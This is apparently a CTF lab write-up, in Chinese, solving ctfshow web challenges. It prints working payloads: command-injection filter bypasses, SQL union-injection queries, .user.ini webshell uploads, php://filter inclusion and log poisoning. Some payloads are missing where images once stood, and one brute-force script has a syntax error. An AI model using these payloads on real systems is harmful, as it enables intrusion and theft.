ctf show

web入门

信息搜集篇

web4

首先看到这个提示:

1

打开链接后只有这:

2

下意识CTRL+U查看源码,没有信息。

本题主要考察项目静态文件robots.txt的内容,一些项目robots.txt会存放于页面根目录。里面包含一些重要信息。因此我们尝试在网址后面添加/robots.txt。结果有了新的发现:

3

我们在网址后面加上/flagishere.txt,flag显现。

web5

有提示:

4

phps文件就是php的源代码文件,通常用于提供给用户(访问者)直接通过Web浏览器查看php代码的内容。

打开链接,我是先抓包,repeater后看到是用php语言编写的。

6

其主页文件应该是:index.php,访问看看,没显示。

5

访问:**/index.phps**下载文件查看,得到flag。

web6

官方提示:解压源码到当前目录,测试正常,收工

说明源码解压到当前目录后,产品就上线了,源码的压缩包没有删除,导致可以被下载

一般开发的源码压缩包名字都是w w w.zip

7

所以访问下载到这个压缩包,解压得到flag。

web7

官方提示:版本控制很重要,但不要部署到生产环境更重要。

版本控制常用两种软件,一种是git,一种是svn,版本控制泄露就是将.git文件夹或者.svn文件夹也部署到网站上了,如果别人访问url/.git就可以访问到。

试着访问/.git和/.svn,发现访问/.git出现flag。

8

9

git svn 泄露

git与svn的区别:
1.git是分布式的,svn是集中式的
2.git将每个历史版本都存储完整的文件,svn只是存储差异的文件,历史版本不可恢复
3.git可以离线完成大部分的操作,svn不可以离线操作
4.git可以实现分支合并
5.git可以修改和撤销修改历史版本
6.git速度快,效率高
7.git有本地仓库
8.git以元数据方式存储,svn以原始文件存储

详细内容请百度:git和svn

web9

官方提示:发现网页有个错别字?赶紧在生产环境vim改下,不好,死机了。

vim在编辑文件的时候,会有一个备份,后缀名.swp,如果突然断电,这个备份文件就会留存下来,可以被人访问到。

由题目中的提示可以知道,vim修改的文件并没有保存后关闭而是直接关闭,所以第一次会产生一个.<文件名>.php.swp文件,第二次会有一个.<文件名>.php.swo文件,第三次会有一个.<文件名>.php.swn文件。

10

访问url/index.php.swp可以下载这个文件,flag就在这里。

​ 试着访问一下后两个文件。

web10

提示:cookie 只是一块饼干,不能存放任何隐私数据

还是这:

11

既然有提示,我们抓包看一下cookie:12
flag到手。

web11

提示:域名其实也可以隐藏信息,比如flag.ctfshow.com 就隐藏了一条信。
既然说了域名隐藏信息那我们用dns检查查询
13在txt栏得到flag。(TXT 记录,一般指为某个主机名或域名设置的说明。)

web12

有提示:有时候网站上的公开信息,就是管理员常用密码
那找找密码,帮助热线号码好像密码。在这里插入图片描述以管理员身份登入后台看看:
14
果然,输入密码后flag显现ctfshow{c9494549-232c-4a44-af85-06574f2ed4b7}

web13

看提示:技术文档里面不要出现敏感信息,部署到生产环境后及时修改默认密码
看了一遍网页,发现底部有个document,点开看看:
15
哈哈试试呗
16

web14

提示:有时候源码里面就能不经意间泄露重要(editor)的信息,默认配置害死人
御剑扫描一下:
17不错,进入/editor看看:
18然后点上传文件,在文件空间中按tmp/html/nothinghere这个路径找到fl000g.txt,确定,得到一堆路径, 前面的是编译器的绝对路径,我们访问后面的**/nothinghere/fl000g.txt**就可以得到flag了。

web15

提示:公开的信息比如邮箱,可能造成信息泄露,产生严重后果

进入题目后看到有个QQ邮箱,我们搜一下它的QQ。没啥信息,返回到刚才的网站加后缀看能不能进去后台:
15
不知道用户名密码哎,那忘记密码吧!发现一个信息:
15
刚才搜的QQ用户在西安,我们 试试,15
果然不出我所料,然后返回输入密码,得到flag。

web16

提示:对于测试用的探针,使用完毕后要及时删除,可能会造成信息泄露
啥是探针呢?搜索一下,最后看到有关于PHP探针的解释

php探针是用来探测空间、服务器运行状况和PHP信息用的,探针可以实时查看服务器硬盘资源、内存占用、网卡流量、系统负载、服务器时间等信息。

具体解释请点击php探针
16我们试试**/tz.php**1616

有个PHP信息,打开看看:16
打开之后直接找关键字符“ctfshow”,得到flag。

web17

提示:备份的sql文件会泄露敏感信息
没思路啊17我在网上搜了一下查看自己备份的SQL文件也不知道怎么办。但备份的英语好像是backup,看一下**/backup.sql文件**,找到flag。

知识点

sql文件的备份一般为backup.sql

web18

提示:不要着急,休息,休息一会儿,玩101分给你flag
我第一反应就是抓包改数据,那就试试吧!
抓了好几次,没用。像往常一样,看看源代码18点开看看:
18
直接找“ctfshow”找不到,那看看有什么间接的信息。18好像有线索,是某种类型的编码,尝试解一下。
18
去110.php看看,出现flag。

web19

提示:密钥什么的,就不要放在前端了
19是用post传入的,
19
得到flag。

注意

第一反应看到有账号密码时我就直接输入了,那肯定是错误的,因为我没有仔细看题意。错了之后才知道是post传参。
反省:一定要仔细审代码,这关乎着成败。

web20

提示:mdb文件是早期asp+access构架的数据库文件,文件泄露相当于数据库被脱裤了。

20

asp+access最大的安全隐患在于access数据库可以被别人下载。
mdb文件是早期asp+access构架的数据库文件 直接查看url路径添加/db/db.mdb 下载文件通过txt打开或者通过EasyAccess.exe打开搜索flag

ACCESS数据库的隐患

Access数据库的存储隐患

在ASP+Access应用系统中,如果获得或者猜到Access数据库的存储路径和数据库名,则该数据库就可以被下载到本地。

Access数据库的解密隐患

由于Access数据库的加密机制非常简单,所以即使数据库设置了密码,解密也很容易。该数据库系统通过将用户输入的密码与某一固定密钥进行异或来形成一个加密串,并将其存储在*.mdb文件中从地址“&H42”开始的区域内。由于异或操作的特点是“经过两次异或就恢复原值”,因此,用这一密钥与*.mdb文件中的加密串进行第二次异或操作,就可以轻松地得到Access数据库的密码。基于这种原理,可以很容易地编制出解密程序。

程序设计中的安全隐患

ASP代码利用表单(form)实现与用户交互的功能,而相应的内容会反映在浏览器的地址栏中,如果不采用适当的安全措施,只要记下这些内容,就可以绕过验证直接进入某一页面。例如在浏览器中敲入“…… page.asp?x=1”,即可不经过表单页面直接进入满足“x=1”条件的页面。因此,在设计验证或注册页面时,必须采取特殊措施来避免此类问题的发生。

解决方案

自己在网上搜索

爆破篇

web21

提示:爆破什么的,都是基操
21
给了一个字典文件,保存一下要用到。
打开链接后让我们输入账号密码,明显需要用bp抓包。21
被加密了,base64解密后得到用户:密码21OK,我们sent to intruder21设置好要爆破的内容,切换到payloads页面21
添加第一部分:用户名21
添加第二部分:**:**(英文状态下)21添加第三部分:密码,用刚才下载的文件字典。

21别忘了再编码,因为抓包时用户密码被加密了。
21
取消勾选21
开始爆破,21得到密码,然后再base64解码,得到用户密码,输入之后便可得到flag。21

思路:

抓包后是得到加密后的用户密码,然后解密后看到用户密码被加工了。将数据发送到爆破模块,选中base64编码后的用户名和密码。选择payloads,设置为custom iterator(自定义迭代器)自定义迭代器可以自定义拼接方式 position的位置即为我们的拼接方式,根据上述base64解码的tomcat密码的格式:用户名:密码 —–>则position的位数为3。3个拼接完成后,需要进行base64编码;payload processing 进行编码设置。取消Palyload Encoding编码。然后爆破成功!

web22

提示:域名也可以爆破的,试试爆破这个ctf.show的子域名

查询一下他的子域名,最后在vip.ctf.show的源代码中看到了flag。22

web23

提示:还爆破?这么多代码,告辞!
好像没什么卵用。往下看:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-03 11:43:51
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-03 11:56:11
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);

include('flag.php');
if(isset($_GET['token'])){
    $token = md5($_GET['token']);
    if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
        if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
            echo $flag;
        }
    }
}else{
    highlight_file(__FILE__);

}
?> 

分析一下代码:
如果存在一个token值,且token值是被md5加密过的,如果if中的条件满足,则打印出flag。需要传递一个 token值,写脚本爆破,在这里我用PHP语言,脚本如下:

<?php

error_reporting(0);
for ($i=0;$i<=10000:$i++)
{
   $token = md5($i);
		if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1))
        if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
            echo $i."\n";}
}
?>

思路是因为token存在一个整数值,但现在不知道是多少,我假设是在10000之内,运行一下,得到422和1202然后在url后加上 ?token=1202?token=422 回车后得到flag。
我认为以后会有很多题要用脚本。 比如python是一个很好的选择。

web24

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-03 13:26:39
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-03 13:53:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
    $r = $_GET['r'];
    mt_srand(372619038);
    if(intval($r)===intval(mt_rand())){
        echo $flag;
    }
}else{
    highlight_file(__FILE__);
    echo system('cat /proc/version');
}
?> 

mt_srand通过seed给mt_rand播种,然后mt_rand通过梅森旋转算法生成伪随机数。如果指定seed,那么mt_srand播出来的种子是固定的,mt_rand生成的伪随机数也是固定的:

<?php
mt_srand(372619038);
print(mt_rand());
?>

24
get传参传入?r=1122388967,得到flag.

web25

打开后有以下代码

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-03 13:56:57
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-03 15:47:33
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
    $r = $_GET['r'];
    mt_srand(hexdec(substr(md5($flag), 0,8)));
    $rand = intval($r)-intval(mt_rand());
    if((!$rand)){
        if($_COOKIE['token']==(mt_rand()+mt_rand())){
            echo $flag;
        }
    }else{
        echo $rand;
    }
}else{
    highlight_file(__FILE__);
    echo system('cat /proc/version');
} 

mt_scrand(seed)这个函数的意思,是通过分发seed种子,然后种子有了后,靠mt_rand()生成随机数。
这里没有明确给出seed,因此我们需要用工具逆推出seed。

$rand = intval($r)-intval(mt_rand());

从这里我们可以判断出,如果我们输入的r为0,那么$rand为第一个随机数的负数,并且因为非零,在if判断中会在else中输出,因此我们先GET输入?r=0,得到第一个随机数的负数。

25
虚拟机打开终端输入ls查看,得到文件php_mt_seed,输入* ./php_mt_seed第一个随机数*
bp抓包repeater后send为php7.0以上版本
25
这里有三个(用php7.0版本以上运行代码)

<?php
mt_srand(3095355977);
echo mt_rand()."\n";
echo mt_rand()+mt_rand();

三种可能都试一下,
25
通过代码:

if((!$rand)){
       if($_COOKIE['token']==(mt_rand()+mt_rand())){
           echo $flag;
       }

令r=1374935140可以使得!$rand为真,然后执行if语句,如果cookie传入值正确,得出flag。
利用hackbar进行get传参,进行cookie传参得到flag。

命令执行篇

web31

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:49:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

其中有一部分:

$c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }

通过GET传参的方式传入c,传入c的内容中过滤掉了flag system php cat sort shell 英文句号(.) 空格( ) 单引号(’)。那么我们可以找一些和他们功能相似的命令。
比如:
与**system()功能相似的命令有exec()passthru()shell_exec()**。
与cat命令功能相似的命令:

more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
sh /flag 2>%261 //报错出文件内容

空格被过滤掉可以用%09代替。
我们get传入**?c=passthru(“ls”);**
31
然后重新传入**?c=passthru(“tac%09fla*”);得到flag。
还可以:
1 >使用eval嵌套。具体参数:passthru 结合%09
其中%09绕过空格 ?c=eval($_GET[1]);&1=passthru(“tac%09fla
“); 这里需要注意括号的闭合,&的连接。
2> 使用pos(localeconv)来获取小数点
localeconv可以返回包括小数点在内的一个数组;
pos去取出数组中当前第一个元素,也就是小数点。 scandir可以结合它扫描当前目录内容。 ?c=print_r(scandir(pos(localeconv()))); 可以看到当前目录下有flag.php 通过array_reverse把数组逆序,通过next取到第二个数组元素,也即flag.php 然后?c=show_source(next(array_reverse(scandir(pos(localeconv())))));*

web34

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 04:21:29
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

可以看到,被过滤的更多了

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c))

用php伪协议:
传入**?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php**
得到一串base64加密过的值:
PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0wNCAwMDo0OToxOQ0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMDQgMDA6NDk6MjYNCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KJGZsYWc9ImN0ZnNob3d7ODUxZjI3ZjgtNWY5Yy00YTZhLTg5NjctNjIwMzUwNDhmZWMwfSI7DQo=
,然后开始解密得到

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:49:19
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:49:26
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

$flag="ctfshow{851f27f8-5f9c-4a6a-8967-62035048fec0}";

web 39

 <?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){   //过滤flag
        include($c.".php");   //添加后缀.php,无回显
    }
        
}else{
    highlight_file(__FILE__);
} 

过滤了flag,采用文件包含的方式,利用data伪协议:传入**?c=data://text/plain,**
得到flag。

web 40

<?php

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
} 

过滤了冒号,不能用伪协议了,没有过滤英文状态的**()** 和**;**可以试试用无参函数:
c=show_source(next(array_reverse(scandir(pos(localeconv())))));

c=highlight_file(next(array_reverse(scandir(dirname(FILE)))));
show_sourcehighlight_file 可以互换。
得到flag。

web42

 <?php
 
if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
} 
>/dev/null 2>&1
>默认情况是1,也就是等同于1>/dev/null 2>&1。意思就是把标准输出重定向到“黑洞”,还把错误输出2重定向到标准输出1,也就是标准输出和错误输出都进了“黑洞”。要想绕过这个“黑洞“,需要往里面传入两个参数,shell会执行第一个参数,将第二个参数带入到黑洞。

所以构造 :
?c=ls;ls(第二个参数可以写可以不写,但一定要加分号。代表分号前面是第一个参数。)
接着看到flag.php,然后构造
?c=tac flag.php;
得到flag。
42
关于linux中>/dev/null 2>&1和2>&1 > /dev/null点击链接

web43

与web42相比,就多过滤了分号和cat。

分号的代替:
%26 %0a ||
cat的代替就很多了:
tac tail nl sort uniq head more less等

构造:
?c=tac flag.php%0a
得到flag。
43

web44

构造?c=tac fla\g.php%0a
flag被过滤,用fla?.php或fla*或fla\g.php
44

web45

空格被过滤了

空格的代替:
%09
%20
$IFS
${IFS}
$IFS$9
<
<>

构造:
?c=tac%09fl\ag.php%26
45

web46

新过滤了*$和数字
仍然可以构造?c=tac%09fl\ag.php%26其中%09,%26不受数字被过滤的影响,因为在加载时%09,%26会被解码为空格和分号,也就没有了数字。

web47

仍然可以构造?c=tac%09fl\ag.php%26

web48

仍然可以构造?c=tac%09fl\ag.php%26

web49

仍然可以构造?c=tac%09fl\ag.php%26

web50

过滤了\x09和\x26,是十六进制,相当于过滤了把%09和%26url解码后的\t和&。
那么用nl构造?c=nl<>fl\ag.php%0a查看源码得到flag。
50

web51

用nl构造?c=nl<>fl\ag.php%0a查看源码得到flag。

web52

过滤了<>,放开了$。
构造
51
显示假的flag。
52

构造

52

没有flag。
加个反引号构造

52
假的flag
52

打开根目录查看:

52

52

等价于?c=ls /;其中“/”是根目录。说明flag在根目录下
移动flag到吧.txt文件中,构造:
52
查看b.txt
52
得到flag。
52

web53

把tac过滤掉了,使用tac时用t\ac不就行了吗?
构造:ls%0a
53
构造:ta\c${IFS}fl\ag.php%0a得到flag。
53

web54

好奇怪

 <?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);//|.*c.*a.*t.*|的意思是cat 和cat之间插入字符都被过滤了,相当于引号绕过用不了了c""at也会被过滤
    }
}else{
    highlight_file(__FILE__);
} 

?c=ls%0a查看一下,
54
/?c=t''ac${IFS}fl??.php%0a无回显。那就将flag.php的名字改一下,?c=mv${IFS}fla?.php${IFS}c.txt查看c.txt得到flag。
54

web55

<?php
// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
} 

这下好了,过滤了字母,但是数字没有过滤,数字?64?用base64加密内容。原内容为/bin/base64 flag.php过滤了字母?用?代替,然后为:/???/????64 ????.???
55
解密后得到
55
知识点:
可以匹配到/bin目录下的命令

cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等

方法二

参考的wp,有用bzip2的命令的。请参考这里

命令名称:bzip2
命令全称:a block-sorting file compressor
执行权限:所有用户
所在路径:/usr/bin/bzip2
功能描述:压缩文件

我们可以通过该命令压缩flag.php 然后进行下载
payload:?c=/???/???/???2 ????.???
也就是/usr/bin/bzip2 flag.php
然后访问/flag.php.bz2进行下载获得flag.php

方法三

参考

前提是 题目没有过滤 ? / . (问号,斜杠,点),就可以使用这个方法进行RCE

编写 本地文件上传的网页:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<form action="http://0bb2c3a2-2646-491d-80fa-52c6bee9decc.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。至于后面为什么要加[@-[],是为了匹配到文件的最后一个字母的大写

当然,php生成临时文件名是随机的,最后一个字符不一定是大写字母,不过多尝试几次也就行了。
构造poc执行命令

?c=.+/???/???[@-[]

注:后面的[@-[]是linux下面的匹配符,是进行匹配的大写字母。
55

web57

这里的字母和数字都被过滤了,题目说传入一个36,就可以得到flag。
57那应该怎么传入一个36呢?
因为是在shell环境下的,所以需要使用linux shell的一些特性:

$(())代表做一次运算,因为里面为空,也表示值为0
$((~$(()))) 对0作取反运算,值为-1
$(($((~$(())))$((~$(()))))) -1-1,也就是(-1)+(-1)为-2,所以值为-2
$((~$(($((~$(())))$((~$(())))))))再对-2做一次取反得到1,所以值为1
如果对取反不了解可以百度一下,这里给个容易记得式子,如果对a按位取反,则得到的结果为-(a+1),也就是对0取反得到-1
那么最后只需要37个-1相加再取反即可。
写个脚本生成payload:

data = "$((~$(("+"$((~$(())))"*37+"))))"
print(data)

57
传参后查看源码:
57

web58

这次是post传入一个c,不妨用蚁剑试试?

58
58
58

方法二
post传参:
传入c=passthru("ls");``c=system("ls");等,发现我试的系统命令都被过滤了。
58
这里补充一些读取文件的函数的用法:

highlight_file($filename);
show_source($filename);
print_r(php_strip_whitespace($filename));
print_r(file_get_contents($filename));
readfile($filename);
print_r(file($filename)); // var_dump
fread(fopen($filename,"r"), $size);
include($filename); // 非php代码
include_once($filename); // 非php代码
require($filename); // 非php代码
require_once($filename); // 非php代码
print_r(fread(popen("cat flag", "r"), $size));
print_r(fgets(fopen($filename, "r"))); // 读取一行
fpassthru(fopen($filename, "r")); // 从当前位置一直读取到 EOF
print_r(fgetcsv(fopen($filename,"r"), $size));
print_r(fgetss(fopen($filename, "r"))); // 从文件指针中读取一行并过滤掉 HTML 标记
print_r(fscanf(fopen("flag", "r"),"%s"));
print_r(parse_ini_file($filename)); // 失败时返回 false , 成功返回配置数组

我用一下c=echo file_get_contents("flag.php");,得到了flag。

web59

同上题,但这题file_get_contents被过滤了,我试了一下c=show_source("flag.php");得到flag。
59
也可以使用include()文件包含:

//POST传入:
c=echo include($_GET[1]);
//url连接:
/?1=php://filter/convert.base64-encode/resource=flag.php

之后base64解密得到flag。

web71

刚打开看到
71
post传去一个试试,c=include('flag.php');,结果都被通配符占领了。
71
为什么呢?参考wp之后发现大家的都是给出index.php。

<?php

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}
?>
你要上天吗?

这样看的话[0-9][a-z]都被过滤了。怪不得

$s = ob_get_contents();//得到缓冲区的数据。
ob_end_clean();//会清除缓冲区的内容,并将缓冲区关闭,但不会输出内容。

可以不让他执行后面的内容,这样就不会被过滤了。利用exit();直接停止后面的程序。然后执行c=include('/flag.txt');exit();拿到flag。
71

知识点

php中ob函数的用法

SQL注入篇

web171

//拼接sql语句查找指定ID用户 $sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";

这里会把输入的id以get的形式直接递交到后台和查询语句进行简单的字符串拼接的过程,同时根据这个题目的查询条件,可以猜测username为为flag的用户他的信息就是我们所需要的。
但是网页里所展示的24个用户并没有我们所需要的flag
这里主要的思路就是用or进行截断,然后or后面跟我们所需要查询的语句
‘我们传入的语句’
首先我们给前面一个查询语句一个不可能达成的条件去截断它,即-1’
然后用or加上我们所要查询的 or username = ‘flag’.我们语句外面还有一个引号。所以我们不要最后一个引号
最后的语句就是这样 -1’ or username = ‘flag
方法二
用order by判断字段,确认字段数为3
171171
接着用联合注入爆出当前数据库的所有表名

-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database()--+

根据题目给的SQL语句判断,flag就在字段password里,且旁边对应的字段username值为flag,故构造payload直接查看flag

-1' union select 1,2,password from ctfshow_user where username = 'flag' --+

171

综上

爆出有哪些位置可以进行输出数据
1' order by 3--+

查看数据库名字
1' union select 1,2,database()--+

爆破表名:
-1' union select 1,2,group_concat(table_name) FROM information_schema.tables where table_schema=database()--+

爆破列名:
1' union select 1,2,group_concat(column_name) FROM information_schema.columns where table_schema=database() and table_name='ctfshow_user'--+

爆破数据:
1' union select 1,2,group_concat(id,username,password) FROM ctfshow_user--+

web172

 //拼接sql语句查找指定ID用户
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";

查看数据库名字

1' union select 1,2,database()--+

172
爆破表名:
-1' union select 1,2,group_concat(table_name) FROM information_schema.tables where table_schema=database()--+172
出现两个表名,有猫腻!继续往下做
爆破表(ctfshow_user)的列名:
1' union select 1,2,group_concat(column_name) FROM information_schema.columns where table_schema=database() and table_name='ctfshow_user'--+
172

爆破数据:
1' union select 1,2,group_concat(id,username,password) FROM ctfshow_user--+
172或只查找密码
1' union select 1,2,password FROM ctfshow_user--+
172
或精准查找flag的密码
1' union select 1,username,password FROM ctfshow_user where username ='flag'--+
172
看来flag应该在另一个表中。
172确实:
172

文件上传篇

web153

上传图片马抓包改后缀
1
换了php5,phtml蚁剑连不上,很有可能是php5,phtml没有被解析成php文件执行。详情请参考 .htaccess 和.user.ini 配置文件妙用
所以要上传一个.user.ini配置文件,因为该网站是nginxx系统

同样,上传png文件,burp抓包修改文件信息,文件名修改为.user.ini,内容添加auto_prepend_file=1.png。再上传一个名为1.png的图片马即可

2
3
最后访问**/url/upload/index.php,用12=system(‘cat /var/www/html/f*’);**输入命令获取flag就好

web154

1
先上传木马图片,在上传.user.ini文件
2
3
4
5
得到flag。

web155

上传普通文件是不行了,php大写为PHP显示上传成功
1

1

web156

上一题的方法不能用了,可能是过滤了一些东西,采用二分法看看是哪里出问题了。
1
2
3
看来是过滤了**[],可以用{}**代替
3
剩下步骤和上题一样。

web157

在url/upload中查看源码可以看到有这样一段代码:
**function check($str){
return !preg_match(‘/php|{|[|;/i’, $str);
}**
可以发现**php,{,[,;**被过滤了,那么一句话木马可以用****来代替。
首先传入**.user.ini文件**写入**auto_append_file=2.png**意思把同目录下的2.png文件当作php文件来执行。
之后访问url/upload/查看源码便可得到flag。
1

web158

相比于上题多过滤了log,不过没事,按上题做法也可以。依旧得到flag。

web159

发现system不能用了,如果用其他函数来代替system的话,还要用括号**(),发现()**也被过滤了,因此在网上查了一下,

php中,反引号**`**可以用来执行终端命令。

因此写入****来执行命令。得到flag。

web160

经过测试发现反引号 `和空格也被过滤了。看到别人的wp后才知道原来可以上传到日志里,但是log被过滤了。php里可以用**.来拼接log。知道sever为nginx,日志文件默认放在/var/log/nginx/access.log里。
所以有思路了。
首先上传
.user.ini**,然后上传2.png文件写入 同时UA改为一句话木马。
稍后蚁剑连入url/upload/
1
即可查找flag。
2

web161

与上题不同的是进行了文件头的验证,只需在文件头加上GIF89a,其他和上题一样。
蚁剑连接得到flag。

文件包含

web 78

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 10:52:43
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 10:54:20
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);
} 

payload:http://56337a28-b2ea-474e-b82d-03c38b2e75f1.challenge.ctf.show/?file=php://filter/convert.base64-encode/resource=flag.php

PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0xNiAxMDo1NToxMQ0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMTYgMTA6NTU6MjANCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KDQokZmxhZz0iY3Rmc2hvd3tmYTljNGExYS01NzE1LTQwOGEtYWU0Yy00ZGU2NzRiM2M4YzZ9Ijs=
解密得到flag:ctfshow{fa9c4a1a-5715-408a-ae4c-4de674b3c8c6}

web 79

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:10:14
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 11:12:38
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
} 

str_replace函数:

语法

str_replace(find,replace,string,count)

参数 描述 find 必需。规定要查找的值。 replace 必需。规定替换 find 中的值的值。 string
必需。规定被搜索的字符串。 count 可选。对替换数进行计数的变量。

可以使用data协议对内容进行base64加密**?page=data://text/plain;base64,[base64_encode_shell]**
加密内容为system(‘cat flag.php’);

web80

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 11:26:29
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
} 

data不能用了。
这里又学到一个包含日志文件getshell

中间件的日志文件会保存网站的访问记录,比如HTTP请求行,User-Agent,Referer等客户端信息
如果在HTTP请求中插入恶意代码,那么恶意代码就会保存到日志文件中,访问日志文件的时候,日志文件中的恶意代码就会执行,从而造成任意代码执行甚至获取shell
比如使用代理工具抓包,在HTTP请求中插入一句话木马,访问日志文件时会执行一句话木马,然后使用蚁剑等工具链接,从而getshell

